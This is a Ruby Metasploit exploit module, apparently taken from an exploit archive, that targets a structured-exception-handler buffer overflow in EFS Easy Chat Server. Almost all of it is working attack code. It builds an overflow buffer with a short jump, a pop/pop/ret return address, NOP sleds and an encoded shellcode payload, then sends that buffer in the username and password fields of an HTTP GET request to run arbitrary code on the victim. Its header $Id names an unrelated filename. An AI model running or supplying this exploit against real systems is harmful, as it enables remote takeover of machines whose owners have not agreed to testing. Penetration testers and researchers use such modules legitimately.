EFS Easy Chat Server - Universal Buffer Overflow (SEH) (Metasploit)

##
# $Id: ca_igateway_debug.rb 6568 2009-05-19 13:20:32Z hdm $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##



class Metasploit3 < Msf::Exploit::Remote

	include Msf::Exploit::Remote::Tcp
	include Msf::Exploit::Seh

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'EFS Easy Chat server Universal BOF-SEH (META)',
			'Description'    => %q{
				This module exploits a vulnerability in Easy chat server by passing
				an arbitary evil biuffer along with the username password.
				Sucessful attack could run arbitary code on victim machine
			},
			'Author'         => 'FB1H2S',
			'License'        => MSF_LICENSE,
			'Version'        => '',
			'References'     =>
				[
					[ 'Exploitdb', 'http://www.exploit-db.com/exploits/11179' ],
					
				],
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'seh',
				},
			'Payload'        =>
				{
					'Space'    => 1200,
					'BadChars' => "\x00\x0a\x0d\x20",
					'StackAdjustment' => -3500,
					'Compat'   => 
					{
						'ConnectionType' => '+ws2ord',
					},
				},
			'Platform'       => 'win',
			'Targets'        =>
				[
					[ 'EFS Easy Chat Server Universal', { 'Ret' => 0x1001b9a2 } ], # p/p/r 
				],
			'Privileged'     => true,
			'DisclosureDate' => 'jan 2010',
			'DefaultTarget'  => 0))

		register_options(
			[
				Opt::RPORT(80),
			], self.class)
	end

		

		def exploit
			connect
			sploit = Rex::Text.rand_text_alphanumeric(216)
		        sploit << "\xeb\x06\x90\x90"            # short jump 6 bytes
			sploit << [target.ret].pack('V')      #ppr universal
			sploit << "\x90" * 20                # nop sled
			sploit << payload.encoded            #payload \xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc
			sploit << "\x90" * 20
			request= 'chat.ghp?username=' +sploit+ '&password=' +sploit+ '&room=1&sex=2'
			send = "GET /" + request + " HTTP/1.0"
			sock.put(send + "\r\n\r\n\r\n")
			disconnect
			handler
		end
	end